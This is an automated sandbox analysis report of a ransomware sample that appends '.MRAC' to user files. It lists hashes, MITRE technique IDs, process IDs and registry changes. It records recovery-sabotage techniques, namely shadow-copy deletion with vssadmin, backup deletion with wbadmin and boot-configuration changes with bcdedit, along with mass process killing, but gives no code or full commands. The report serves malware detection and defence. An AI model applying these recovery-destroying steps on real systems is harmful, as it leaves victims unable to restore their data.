768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91

Resubmissions

27-12-2021 19:46

211227-yhb1vadah9 9

26-12-2021 08:08

211226-j1tahshhdk 9

Analysis

max time kernel
148s
max time network
148s
platform
windows10_x64
resource
win10-en-20211208
submitted
27-12-2021 19:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Size

338KB
MD5

b99ce03482978a861c883bb772be3b25
SHA1

84ecf8f8b0de2dbb3df4b99766a84143e49eaa00
SHA256

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91
SHA512

a9261830ed6a6c93fcd6fd7c8483d917f2b4235bc9dd586eac9d10bdb6ca2872c6101ea512ecc2abc176a60afa576aa0856db25c66bc29bf81fe2a11c94875c1

Score

9^/10

evasion ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

4392 bcdedit.exe
4516 bcdedit.exe
Deletes System State backups 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
ransomware

Command-Line Interface
T1059

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

wbadmin.exewbadmin.exe

pid process

4492 wbadmin.exe
4680 wbadmin.exe

pid	process
4392	bcdedit.exe
4516	bcdedit.exe

pid	process
4492	wbadmin.exe
4680	wbadmin.exe

Modifies extensions of user files 14 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\HideStep.tiff	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\SplitExit.crw => C:\Users\Admin\Pictures\SplitExit.crw.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\BackupFormat.png => C:\Users\Admin\Pictures\BackupFormat.png.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File opened for modification	C:\Users\Admin\Pictures\PingAssert.tiff	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File opened for modification	C:\Users\Admin\Pictures\SuspendUse.tiff	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\ExpandUpdate.raw => C:\Users\Admin\Pictures\ExpandUpdate.raw.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File opened for modification	C:\Users\Admin\Pictures\ExportUnblock.tiff	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\HideStep.tiff => C:\Users\Admin\Pictures\HideStep.tiff.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\SuspendUse.tiff => C:\Users\Admin\Pictures\SuspendUse.tiff.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\ExportSuspend.png => C:\Users\Admin\Pictures\ExportSuspend.png.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\ConnectRestart.png => C:\Users\Admin\Pictures\ConnectRestart.png.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\ExportUnblock.tiff => C:\Users\Admin\Pictures\ExportUnblock.tiff.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\PingAssert.tiff => C:\Users\Admin\Pictures\PingAssert.tiff.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\BackupAssert.raw => C:\Users\Admin\Pictures\BackupAssert.raw.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe

Drops file in Windows directory 12 IoCs

Processes:

MicrosoftEdgeCP.exewbadmin.exewbadmin.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exe

description	ioc	process
File created	C:\Windows\rescache\_merged\3720402701\1659841449.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1659841449.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File created	C:\Windows\rescache\_merged\3720402701\1659841449.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1659841449.pri	MicrosoftEdgeCP.exe

Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exe

pid process

5052 vssadmin.exe
4332 vssadmin.exe

pid	process
5052	vssadmin.exe
4332	vssadmin.exe

Kills process with taskkill 45 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4520	taskkill.exe
4860	taskkill.exe
4416	taskkill.exe
4780	taskkill.exe
4916	taskkill.exe
4968	taskkill.exe
5064	taskkill.exe
4472	taskkill.exe
3860	taskkill.exe
4256	taskkill.exe
4284	taskkill.exe
4604	taskkill.exe
4880	taskkill.exe
4344	taskkill.exe
4664	taskkill.exe
4820	taskkill.exe
4180	taskkill.exe
4448	taskkill.exe
4744	taskkill.exe
4996	taskkill.exe
5040	taskkill.exe
5112	taskkill.exe
4540	taskkill.exe
4600	taskkill.exe
4796	taskkill.exe
5092	taskkill.exe
4120	taskkill.exe
5076	taskkill.exe
4280	taskkill.exe
4408	taskkill.exe
4208	taskkill.exe
4848	taskkill.exe
4544	taskkill.exe
4800	taskkill.exe
5028	taskkill.exe
4260	taskkill.exe
4644	taskkill.exe
4136	taskkill.exe
4204	taskkill.exe
4456	taskkill.exe
4952	taskkill.exe
4712	taskkill.exe
4728	taskkill.exe
4348	taskkill.exe
4556	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

Processes:

browser_broker.exeMicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B7216 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 86d1d8cd5afbd701	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Explorer	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 319991d25afbd701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\InProgressFlags = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000009fb79a4fe7b3f950099bb47c90516c5417ea3bbd8becd87024810e1250efb727c6208d326c1889476b8d52dd7d284c96c19d86a1f05342a13ad60318af92	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\ImageStoreRandomFolder = "pwlsk0t"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "5"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe

Runs net.exe
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

pid process

952 MicrosoftEdgeCP.exe
3820 MicrosoftEdgeCP.exe

pid	process
952	MicrosoftEdgeCP.exe
3820	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 57 IoCs

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exevssvc.exewmic.exeMicrosoftEdge.exeMicrosoftEdgeCP.exe

description	pid	process
Token: SeDebugPrivilege	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeDebugPrivilege	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeDebugPrivilege	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeBackupPrivilege	3248	vssvc.exe
Token: SeRestorePrivilege	3248	vssvc.exe
Token: SeAuditPrivilege	3248	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4720	wmic.exe
Token: SeSecurityPrivilege	4720	wmic.exe
Token: SeTakeOwnershipPrivilege	4720	wmic.exe
Token: SeLoadDriverPrivilege	4720	wmic.exe
Token: SeSystemProfilePrivilege	4720	wmic.exe
Token: SeSystemtimePrivilege	4720	wmic.exe
Token: SeProfSingleProcessPrivilege	4720	wmic.exe
Token: SeIncBasePriorityPrivilege	4720	wmic.exe
Token: SeCreatePagefilePrivilege	4720	wmic.exe
Token: SeBackupPrivilege	4720	wmic.exe
Token: SeRestorePrivilege	4720	wmic.exe
